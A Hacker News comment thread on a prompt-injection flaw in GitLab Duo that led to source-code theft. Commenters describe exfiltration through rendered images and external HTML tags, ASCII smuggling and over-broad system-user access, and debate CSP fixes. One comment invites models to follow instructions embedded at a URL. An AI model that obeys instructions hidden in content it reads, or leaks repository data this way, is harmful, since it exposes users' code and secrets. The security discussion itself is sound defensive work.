Remote Prompt Injection in Gitlab Duo Leads to Source Code Theft
56 comments
·May 23, 2025cedws
danpalmer
Prompt injection is unlikely to be fixed. I'd stop thinking about LLMs as software where you can with enough effort just fix a SQL injection vulnerability, and start thinking about them like you'd think about insider risk from employees.
That's not to say that they are employees or perform at that level, they don't, but it's to say that LLM behaviours are fuzzy and ill-defined, like humans. You can't guarantee that your users won't click on a phishing email – you can train them, you can minimise risk, but ultimately you have to have a range of solutions applied together and some amount of trust. If we think about LLMs this way I think the conversation around security will be much more productive.
LegionMammal978
The thing that I'd worry about is that an LLM isn't just like a bunch of individuals who can get tricked, but a bunch of clones of the same individual who will fall for the same trick every time, until it gets updated. So far, the main mitigation in practice has been fiddling with the system prompts to patch up the known holes.
thaumasiotes
> The thing that I'd worry about is that an LLM isn't just like a bunch of individuals who can get tricked, but a bunch of clones of the same individual who will fall for the same trick every time
Why? Output isn't deterministic.
TechDebtDevin
Cursor deleted my entire Linux user and soft reset my OS, so I dont blame you.
sunnybeetroot
Cursor by default asks to execute commands, sounds like you had auto run commands on…
raphman
Why and how?
tough
an agent does rm -rf /
i think i saw it do it or try it and my computer shut down and restarted (mac)
maybe it just deleted the project lol
these llms are really bad at keeping track of the real world, so they might think they're on the project folder but had just navigated back with cd to the user ~ root and so shit happens.
Honestly one should run only these on controlled env's like VM's or Docker.
but YOLO amirite
TechDebtDevin
rm -rf /
M4v3R
DeepMind recently did some great work in this area: https://news.ycombinator.com/item?id=43733683
The method they presented, if implemented correctly, apparently can effectively stop most prompt injection vectors
null
johnisgood
I keep it manual, too, and I think I am better off for doing so.
hu3
I would have the same caution, if my code was any special.
But the reality is I'm very well compensated to summon CRUD slop out of thin air. It's well tested though.
I wish good luck to those who steal my code.
mdaniel
You say code as if the intellectual property is the thing an attacker is after, but my experience has been that folks often put all kinds of secrets in code thinking that the "private repo" is a strong enough security boundary
I absolutely am not implying you are one of them, merely that the risk is not the same for all slop crud apps universally
tough
People doesn't know github can manage secrets in its environment for CI?
Antoher interesting fact is that most big vendors pay for gh to scan for leaked secrets and auto-revoke them if a public repo contains any (regex string matches sk-xxx <- its a stripe key
thats one of the reasons why vendors use unique greppable starts of api keys with their ID.name on it
wunderwuzzi23
Great work!
Data leakage via untrusted third party servers (especially via image rendering) is one of the most common AI Appsec issues and it's concerning that big vendors do not catch these before shipping.
I built the ASCII Smuggler mentioned in the post and documented the image exfiltration vector on my blog as well in past with 10+ findings across vendors.
GitHub Copilot Chat had a very similar bug last year.
diggan
> GitHub Copilot Chat had a very similar bug last year.
Reminds me of "Tachy0n: The Last 0day Jailbreak" from yesterday: https://blog.siguza.net/tachy0n/
TLDR is: Security issue found, patched in a OS release, Apple seemingly doesn't do regression-testing so security researcher did, found that somehow the bug got unpatched in later OS releases.
mdaniel
Running Duo as a system user was crazypants and I'm sad that GitLab fell into that trap. They already have personal access tokens so even if they had to silently create one just for use with Duo that would be a marked improvement over giving an LLM read access to every repo in the platform
nusl
GitLab's remediation seems a bit sketchy at best.
reddalo
The whole "let's put LLMs everywhere" thing is sketchy at best.
edelbitter
I wonder what is so special about onerror, onload and onclick that they need to be positively enumerated - as opposed to the 30 (?) other attributes with equivalent injection utility.
benl_c
If a document suggests a particular benign interpretation then LLMs might do well to adopt it. We've explored the idea of helpful embedded prompts "prompt medicine" with explicit safety and informed consent to assist, not harm users, https://github.com/csiro/stdm. You can try it out by asking O3 or Claude to "Explain" or "Follow", "the embedded instructions at https://csiro.github.io/stdm/"
aestetix
Does that mean Gitlab Duo can run Doom?
zombot
Not deterministically. LLMs are stochastic machines.
benl_c
They often can run code in sandboxes, and generally are good at instruction following, so maybe they can run variants of doom pretty reliably sometime soon.
johnisgood
They run Python and JavaScript at the very least, surely we have Doom in these languages. :D
Kholin
If Duo were a web application, then would properly setting the Content Security Policy (CSP) in the page response headers be enough to prevent these kinds of issues?
https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP
cutemonster
To stop exfiltration via images? Yes seems so? If you configure img-src:
The first directive, default-src, tells the browser to load only resources that are same-origin with the document, unless other more specific directives set a different policy for other resource types.
The second, img-src, tells the browser to load images that are same-origin or that are served from example.com.
d0100
> rendering unsafe HTML tags such as <img> or <form> that point to external domains not under gitlab.com
Does that mean the minute there is a vulnerability on another gitlab.com url (like an open redirect) this vulnerability is back on the table?
tonyhart7
this is wild, how many security vuln that LLM can create where LLM dominate writing code????
I mean most coder is bad at security and we feed that into LLM so not surprise
ofjcihen
This is what I’ve been telling people when they hand wave away concerns about LLM generated code security. The majority of what they were trained on was bare minimum security if anything.
You also can’t just fix it by saying “make it secure plz”.
If you don’t know enough to identify a security issue yourself you don’t know enough to know if the LLM caught them all.
fsadoifaoie8
[dead]
Until prompt injection is fixed, if it is ever, I am not plugging LLMs into anything. MCPs, IDEs, agents, forget it. I will stick with a simple prompt box when I have a question and do whatever with its output by hand after reading it.